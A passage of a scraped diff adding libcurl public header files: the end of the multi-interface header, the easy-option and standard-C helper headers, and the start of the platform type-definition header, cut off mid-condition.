CURLM_WAKEUP_FAILURE, /* wakeup is unavailable or failed */
CURLM_BAD_FUNCTION_ARGUMENT, /* function called with a bad parameter */
CURLM_ABORTED_BY_CALLBACK,
CURLM_UNRECOVERABLE_POLL,
CURLM_LAST
} CURLMcode;
/* just to make code nicer when using curl_multi_socket() you can now check
for CURLM_CALL_MULTI_SOCKET too in the same style it works for
curl_multi_perform() and CURLM_CALL_MULTI_PERFORM */
#define CURLM_CALL_MULTI_SOCKET CURLM_CALL_MULTI_PERFORM
/* bitmask bits for CURLMOPT_PIPELINING */
#define CURLPIPE_NOTHING 0L
#define CURLPIPE_HTTP1 1L
#define CURLPIPE_MULTIPLEX 2L
typedef enum {
CURLMSG_NONE, /* first, not used */
CURLMSG_DONE, /* This easy handle has completed. 'result' contains
the CURLcode of the transfer */
CURLMSG_LAST /* last, not used */
} CURLMSG;
struct CURLMsg {
CURLMSG msg; /* what this message means */
CURL *easy_handle; /* the handle it concerns */
union {
void *whatever; /* message-specific data */
CURLcode result; /* return code for transfer */
} data;
};
typedef struct CURLMsg CURLMsg;
/* Based on poll(2) structure and values.
* We do not use pollfd and POLL* constants explicitly
* to cover platforms without poll(). */
#define CURL_WAIT_POLLIN 0x0001
#define CURL_WAIT_POLLPRI 0x0002
#define CURL_WAIT_POLLOUT 0x0004
struct curl_waitfd {
curl_socket_t fd;
short events;
short revents;
};
/*
* Name: curl_multi_init()
*
* Desc: initialize multi-style curl usage
*
* Returns: a new CURLM handle to use in all 'curl_multi' functions.
*/
CURL_EXTERN CURLM *curl_multi_init(void);
/*
* Name: curl_multi_add_handle()
*
* Desc: add a standard curl handle to the multi stack
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_add_handle(CURLM *multi_handle,
CURL *curl_handle);
/*
* Name: curl_multi_remove_handle()
*
* Desc: removes a curl handle from the multi stack again
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_remove_handle(CURLM *multi_handle,
CURL *curl_handle);
/*
* Name: curl_multi_fdset()
*
* Desc: Ask curl for its fd_set sets. The app can use these to select() or
* poll() on. We want curl_multi_perform() called as soon as one of
* them are ready.
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_fdset(CURLM *multi_handle,
fd_set *read_fd_set,
fd_set *write_fd_set,
fd_set *exc_fd_set,
int *max_fd);
/*
* Name: curl_multi_wait()
*
* Desc: Poll on all fds within a CURLM set as well as any
* additional fds passed to the function.
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_wait(CURLM *multi_handle,
struct curl_waitfd extra_fds[],
unsigned int extra_nfds,
int timeout_ms,
int *ret);
/*
* Name: curl_multi_poll()
*
* Desc: Poll on all fds within a CURLM set as well as any
* additional fds passed to the function.
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_poll(CURLM *multi_handle,
struct curl_waitfd extra_fds[],
unsigned int extra_nfds,
int timeout_ms,
int *ret);
/*
* Name: curl_multi_wakeup()
*
* Desc: wakes up a sleeping curl_multi_poll call.
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_wakeup(CURLM *multi_handle);
/*
* Name: curl_multi_perform()
*
* Desc: When the app thinks there is data available for curl it calls this
* function to read/write whatever there is right now. This returns
* as soon as the reads and writes are done. This function does not
* require that there actually is data available for reading or that
* data can be written, it can be called just in case. It returns
* the number of handles that still transfer data in the second
* argument's integer-pointer.
*
* Returns: CURLMcode type, general multi error code. *NOTE* that this only
* returns errors etc regarding the whole multi stack. There might
* still have occurred problems on individual transfers even when
* this returns OK.
*/
CURL_EXTERN CURLMcode curl_multi_perform(CURLM *multi_handle,
int *running_handles);
/*
* Name: curl_multi_cleanup()
*
* Desc: Cleans up and removes a whole multi stack. It does not free or
* touch any individual easy handles in any way. We need to define
* in what state those handles will be if this function is called
* in the middle of a transfer.
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_cleanup(CURLM *multi_handle);
/*
* Name: curl_multi_info_read()
*
* Desc: Ask the multi handle if there is any messages/informationals from
* the individual transfers. Messages include informationals such as
* error code from the transfer or just the fact that a transfer is
* completed. More details on these should be written down as well.
*
* Repeated calls to this function will return a new struct each
* time, until a special "end of msgs" struct is returned as a signal
* that there is no more to get at this point.
*
* The data the returned pointer points to will not survive calling
* curl_multi_cleanup().
*
* The 'CURLMsg' struct is meant to be simple and only contain basic
* information. If more involved information is wanted, we will
* provide the particular "transfer handle" in that struct and that
* should/could/would be used in subsequent curl_easy_getinfo() calls
* (or similar). The point being that we must never expose complex
* structs to applications, as then we will undoubtably get backwards
* compatibility problems in the future.
*
* Returns: A pointer to a filled-in struct, or NULL if it failed or ran out
* of structs. It also writes the number of messages left in the
* queue (after this read) in the integer the second argument points
* to.
*/
CURL_EXTERN CURLMsg *curl_multi_info_read(CURLM *multi_handle,
int *msgs_in_queue);
/*
* Name: curl_multi_strerror()
*
* Desc: The curl_multi_strerror function may be used to turn a CURLMcode
* value into the equivalent human readable error string. This is
* useful for printing meaningful error messages.
*
* Returns: A pointer to a null-terminated error message.
*/
CURL_EXTERN const char *curl_multi_strerror(CURLMcode);
/*
* Name: curl_multi_socket() and
* curl_multi_socket_all()
*
* Desc: An alternative version of curl_multi_perform() that allows the
* application to pass in one of the file descriptors that have been
* detected to have "action" on them and let libcurl perform.
* See manpage for details.
*/
#define CURL_POLL_NONE 0
#define CURL_POLL_IN 1
#define CURL_POLL_OUT 2
#define CURL_POLL_INOUT 3
#define CURL_POLL_REMOVE 4
#define CURL_SOCKET_TIMEOUT CURL_SOCKET_BAD
#define CURL_CSELECT_IN 0x01
#define CURL_CSELECT_OUT 0x02
#define CURL_CSELECT_ERR 0x04
typedef int (*curl_socket_callback)(CURL *easy, /* easy handle */
curl_socket_t s, /* socket */
int what, /* see above */
void *userp, /* private callback
pointer */
void *socketp); /* private socket
pointer */
/*
* Name: curl_multi_timer_callback
*
* Desc: Called by libcurl whenever the library detects a change in the
* maximum number of milliseconds the app is allowed to wait before
* curl_multi_socket() or curl_multi_perform() must be called
* (to allow libcurl's timed events to take place).
*
* Returns: The callback should return zero.
*/
typedef int (*curl_multi_timer_callback)(CURLM *multi, /* multi handle */
long timeout_ms, /* see above */
void *userp); /* private callback
pointer */
CURL_EXTERN CURLMcode CURL_DEPRECATED(7.19.5, "Use curl_multi_socket_action()")
curl_multi_socket(CURLM *multi_handle, curl_socket_t s, int *running_handles);
CURL_EXTERN CURLMcode curl_multi_socket_action(CURLM *multi_handle,
curl_socket_t s,
int ev_bitmask,
int *running_handles);
CURL_EXTERN CURLMcode CURL_DEPRECATED(7.19.5, "Use curl_multi_socket_action()")
curl_multi_socket_all(CURLM *multi_handle, int *running_handles);
#ifndef CURL_ALLOW_OLD_MULTI_SOCKET
/* This macro below was added in 7.16.3 to push users who recompile to use
the new curl_multi_socket_action() instead of the old curl_multi_socket()
*/
#define curl_multi_socket(x,y,z) curl_multi_socket_action(x,y,0,z)
#endif
/*
* Name: curl_multi_timeout()
*
* Desc: Returns the maximum number of milliseconds the app is allowed to
* wait before curl_multi_socket() or curl_multi_perform() must be
* called (to allow libcurl's timed events to take place).
*
* Returns: CURLM error code.
*/
CURL_EXTERN CURLMcode curl_multi_timeout(CURLM *multi_handle,
long *milliseconds);
typedef enum {
/* This is the socket callback function pointer */
CURLOPT(CURLMOPT_SOCKETFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 1),
/* This is the argument passed to the socket callback */
CURLOPT(CURLMOPT_SOCKETDATA, CURLOPTTYPE_OBJECTPOINT, 2),
/* set to 1 to enable pipelining for this multi handle */
CURLOPT(CURLMOPT_PIPELINING, CURLOPTTYPE_LONG, 3),
/* This is the timer callback function pointer */
CURLOPT(CURLMOPT_TIMERFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 4),
/* This is the argument passed to the timer callback */
CURLOPT(CURLMOPT_TIMERDATA, CURLOPTTYPE_OBJECTPOINT, 5),
/* maximum number of entries in the connection cache */
CURLOPT(CURLMOPT_MAXCONNECTS, CURLOPTTYPE_LONG, 6),
/* maximum number of (pipelining) connections to one host */
CURLOPT(CURLMOPT_MAX_HOST_CONNECTIONS, CURLOPTTYPE_LONG, 7),
/* maximum number of requests in a pipeline */
CURLOPT(CURLMOPT_MAX_PIPELINE_LENGTH, CURLOPTTYPE_LONG, 8),
/* a connection with a content-length longer than this
will not be considered for pipelining */
CURLOPT(CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE, CURLOPTTYPE_OFF_T, 9),
/* a connection with a chunk length longer than this
will not be considered for pipelining */
CURLOPT(CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE, CURLOPTTYPE_OFF_T, 10),
/* a list of site names(+port) that are blocked from pipelining */
CURLOPT(CURLMOPT_PIPELINING_SITE_BL, CURLOPTTYPE_OBJECTPOINT, 11),
/* a list of server types that are blocked from pipelining */
CURLOPT(CURLMOPT_PIPELINING_SERVER_BL, CURLOPTTYPE_OBJECTPOINT, 12),
/* maximum number of open connections in total */
CURLOPT(CURLMOPT_MAX_TOTAL_CONNECTIONS, CURLOPTTYPE_LONG, 13),
/* This is the server push callback function pointer */
CURLOPT(CURLMOPT_PUSHFUNCTION, CURLOPTTYPE_FUNCTIONPOINT, 14),
/* This is the argument passed to the server push callback */
CURLOPT(CURLMOPT_PUSHDATA, CURLOPTTYPE_OBJECTPOINT, 15),
/* maximum number of concurrent streams to support on a connection */
CURLOPT(CURLMOPT_MAX_CONCURRENT_STREAMS, CURLOPTTYPE_LONG, 16),
CURLMOPT_LASTENTRY /* the last unused */
} CURLMoption;
/*
* Name: curl_multi_setopt()
*
* Desc: Sets options for the multi handle.
*
* Returns: CURLM error code.
*/
CURL_EXTERN CURLMcode curl_multi_setopt(CURLM *multi_handle,
CURLMoption option, ...);
/*
* Name: curl_multi_assign()
*
* Desc: This function sets an association in the multi handle between the
* given socket and a private pointer of the application. This is
* (only) useful for curl_multi_socket uses.
*
* Returns: CURLM error code.
*/
CURL_EXTERN CURLMcode curl_multi_assign(CURLM *multi_handle,
curl_socket_t sockfd, void *sockp);
/*
* Name: curl_multi_get_handles()
*
* Desc: Returns an allocated array holding all handles currently added to
* the multi handle. Marks the final entry with a NULL pointer. If
* there is no easy handle added to the multi handle, this function
* returns an array with the first entry as a NULL pointer.
*
* Returns: NULL on failure, otherwise a CURL **array pointer
*/
CURL_EXTERN CURL **curl_multi_get_handles(CURLM *multi_handle);
/*
* Name: curl_push_callback
*
* Desc: This callback gets called when a new stream is being pushed by the
* server. It approves or denies the new stream. It can also decide
* to completely fail the connection.
*
* Returns: CURL_PUSH_OK, CURL_PUSH_DENY or CURL_PUSH_ERROROUT
*/
#define CURL_PUSH_OK 0
#define CURL_PUSH_DENY 1
#define CURL_PUSH_ERROROUT 2 /* added in 7.72.0 */
struct curl_pushheaders; /* forward declaration only */
CURL_EXTERN char *curl_pushheader_bynum(struct curl_pushheaders *h,
size_t num);
CURL_EXTERN char *curl_pushheader_byname(struct curl_pushheaders *h,
const char *name);
typedef int (*curl_push_callback)(CURL *parent,
CURL *easy,
size_t num_headers,
struct curl_pushheaders *headers,
void *userp);
/*
* Name: curl_multi_waitfds()
*
* Desc: Ask curl for fds for polling. The app can use these to poll on.
* We want curl_multi_perform() called as soon as one of them are
* ready. Passing zero size allows to get just a number of fds.
*
* Returns: CURLMcode type, general multi error code.
*/
CURL_EXTERN CURLMcode curl_multi_waitfds(CURLM *multi,
struct curl_waitfd *ufds,
unsigned int size,
unsigned int *fd_count);
#ifdef __cplusplus
} /* end of extern "C" */
#endif
#endif
@@ -0,0 +1,70 @@
#ifndef CURLINC_OPTIONS_H
#define CURLINC_OPTIONS_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
CURLOT_LONG, /* long (a range of values) */
CURLOT_VALUES, /* (a defined set or bitmask) */
CURLOT_OFF_T, /* curl_off_t (a range of values) */
CURLOT_OBJECT, /* pointer (void *) */
CURLOT_STRING, /* (char * to null-terminated buffer) */
CURLOT_SLIST, /* (struct curl_slist *) */
CURLOT_CBPTR, /* (void * passed as-is to a callback) */
CURLOT_BLOB, /* blob (struct curl_blob *) */
CURLOT_FUNCTION /* function pointer */
} curl_easytype;
/* Flag bits */
/* "alias" means it is provided for old programs to remain functional,
we prefer another name */
#define CURLOT_FLAG_ALIAS (1<<0)
/* The CURLOPTTYPE_* id ranges can still be used to figure out what type/size
to use for curl_easy_setopt() for the given id */
struct curl_easyoption {
const char *name;
CURLoption id;
curl_easytype type;
unsigned int flags;
};
CURL_EXTERN const struct curl_easyoption *
curl_easy_option_by_name(const char *name);
CURL_EXTERN const struct curl_easyoption *
curl_easy_option_by_id(CURLoption id);
CURL_EXTERN const struct curl_easyoption *
curl_easy_option_next(const struct curl_easyoption *prev);
#ifdef __cplusplus
} /* end of extern "C" */
#endif
#endif /* CURLINC_OPTIONS_H */
@@ -0,0 +1,35 @@
#ifndef CURLINC_STDCHEADERS_H
#define CURLINC_STDCHEADERS_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#include <sys/types.h>
size_t fread(void *, size_t, size_t, FILE *);
size_t fwrite(const void *, size_t, size_t, FILE *);
int strcasecmp(const char *, const char *);
int strncasecmp(const char *, const char *, size_t);
#endif /* CURLINC_STDCHEADERS_H */
+496
View File
@@ -0,0 +1,496 @@
#ifndef CURLINC_SYSTEM_H
#define CURLINC_SYSTEM_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
/*
* Try to keep one section per platform, compiler and architecture, otherwise,
* if an existing section is reused for a different one and later on the
* original is adjusted, probably the piggybacking one can be adversely
* changed.
*
* In order to differentiate between platforms/compilers/architectures use
* only compiler built-in predefined preprocessor symbols.
*
* curl_off_t
* ----------
*
* For any given platform/compiler curl_off_t must be typedef'ed to a 64-bit
* wide signed integral data type. The width of this data type must remain
* constant and independent of any possible large file support settings.
*
* As an exception to the above, curl_off_t shall be typedef'ed to a 32-bit
* wide signed integral data type if there is no 64-bit type.
*
* As a general rule, curl_off_t shall not be mapped to off_t. This rule shall
* only be violated if off_t is the only 64-bit data type available and the
* size of off_t is independent of large file support settings. Keep your
* build on the safe side avoiding an off_t gating. If you have a 64-bit
* off_t then take for sure that another 64-bit data type exists, dig deeper
* and you will find it.
*
*/
#if defined(__DJGPP__) || defined(__GO32__)
# if defined(__DJGPP__) && (__DJGPP__ > 1)
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__SALFORDC__)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__BORLANDC__)
# if (__BORLANDC__ < 0x520)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# else
# define CURL_TYPEOF_CURL_OFF_T __int64
# define CURL_FORMAT_CURL_OFF_T "I64d"
# define CURL_FORMAT_CURL_OFF_TU "I64u"
# define CURL_SUFFIX_CURL_OFF_T i64
# define CURL_SUFFIX_CURL_OFF_TU ui64
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__TURBOC__)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__POCC__)
# if (__POCC__ < 280)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# elif defined(_MSC_VER)
# define CURL_TYPEOF_CURL_OFF_T __int64
# define CURL_FORMAT_CURL_OFF_T "I64d"
# define CURL_FORMAT_CURL_OFF_TU "I64u"
# define CURL_SUFFIX_CURL_OFF_T i64
# define CURL_SUFFIX_CURL_OFF_TU ui64
# else
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__LCC__)
# if defined(__MCST__) /* MCST eLbrus Compiler Collection */
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
# else /* Local (or Little) C Compiler */
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
# endif
#elif defined(macintosh)
# include <ConditionalMacros.h>
# if TYPE_LONGLONG
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int
#elif defined(__TANDEM)
# if ! defined(__LP64)
/* Required for 32-bit NonStop builds only. */
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
# endif
#elif defined(_WIN32_WCE)
# define CURL_TYPEOF_CURL_OFF_T __int64
# define CURL_FORMAT_CURL_OFF_T "I64d"
# define CURL_FORMAT_CURL_OFF_TU "I64u"
# define CURL_SUFFIX_CURL_OFF_T i64
# define CURL_SUFFIX_CURL_OFF_TU ui64
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__MINGW32__)
# include <inttypes.h>
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T PRId64
# define CURL_FORMAT_CURL_OFF_TU PRIu64
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
# define CURL_PULL_SYS_TYPES_H 1
#elif defined(__VMS)
# if defined(__VAX)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# else
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T unsigned int
#elif defined(__OS400__)
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
#elif defined(__MVS__)
# if defined(_LONG_LONG)
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# elif defined(_LP64)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
#elif defined(__370__)
# if defined(__IBMC__) || defined(__IBMCPP__)
# if defined(_ILP32)
# elif defined(_LP64)
# endif
# if defined(_LONG_LONG)
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# elif defined(_LP64)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
# endif
#elif defined(TPF)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# define CURL_TYPEOF_CURL_SOCKLEN_T int
#elif defined(__TINYC__) /* also known as tcc */
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
#elif defined(__SUNPRO_C) || defined(__SUNPRO_CC) /* Oracle Solaris Studio */
# if !defined(__LP64) && (defined(__ILP32) || \
defined(__i386) || \
defined(__sparcv8) || \
defined(__sparcv8plus))
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# elif defined(__LP64) || \
defined(__amd64) || defined(__sparcv9)
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
#elif defined(__xlc__) /* IBM xlc compiler */
# if !defined(_LP64)
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
#elif defined(__hpux) /* HP aCC compiler */
# if !defined(_LP64)
# define CURL_TYPEOF_CURL_OFF_T long long
# define CURL_FORMAT_CURL_OFF_T "lld"
# define CURL_FORMAT_CURL_OFF_TU "llu"
# define CURL_SUFFIX_CURL_OFF_T LL
# define CURL_SUFFIX_CURL_OFF_TU ULL
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T socklen_t
# define CURL_PULL_SYS_TYPES_H 1
# define CURL_PULL_SYS_SOCKET_H 1
/* ===================================== */
/* KEEP MSVC THE PENULTIMATE ENTRY */
/* ===================================== */
#elif defined(_MSC_VER)
# if (_MSC_VER >= 1800)
# include <inttypes.h>
# define CURL_TYPEOF_CURL_OFF_T __int64
# define CURL_FORMAT_CURL_OFF_T PRId64
# define CURL_FORMAT_CURL_OFF_TU PRIu64
# define CURL_SUFFIX_CURL_OFF_T i64
# define CURL_SUFFIX_CURL_OFF_TU ui64
# elif (_MSC_VER >= 900) && (_INTEGRAL_MAX_BITS >= 64)
# define CURL_TYPEOF_CURL_OFF_T __int64
# define CURL_FORMAT_CURL_OFF_T "I64d"
# define CURL_FORMAT_CURL_OFF_TU "I64u"
# define CURL_SUFFIX_CURL_OFF_T i64
# define CURL_SUFFIX_CURL_OFF_TU ui64
# else
# define CURL_TYPEOF_CURL_OFF_T long
# define CURL_FORMAT_CURL_OFF_T "ld"
# define CURL_FORMAT_CURL_OFF_TU "lu"
# define CURL_SUFFIX_CURL_OFF_T L
# define CURL_SUFFIX_CURL_OFF_TU UL
# endif
# define CURL_TYPEOF_CURL_SOCKLEN_T int
/* ===================================== */
/* KEEP GENERIC GCC THE LAST ENTRY */
/* ===================================== */
#elif defined(__GNUC__) && !defined(_SCO_DS)
# if !defined(__LP64__) && \
(defined(__ILP32__) || defined(__i386__) || defined(__hppa__) || \
defined(__ppc__) || defined(__powerpc__) || defined(__arm__) || \
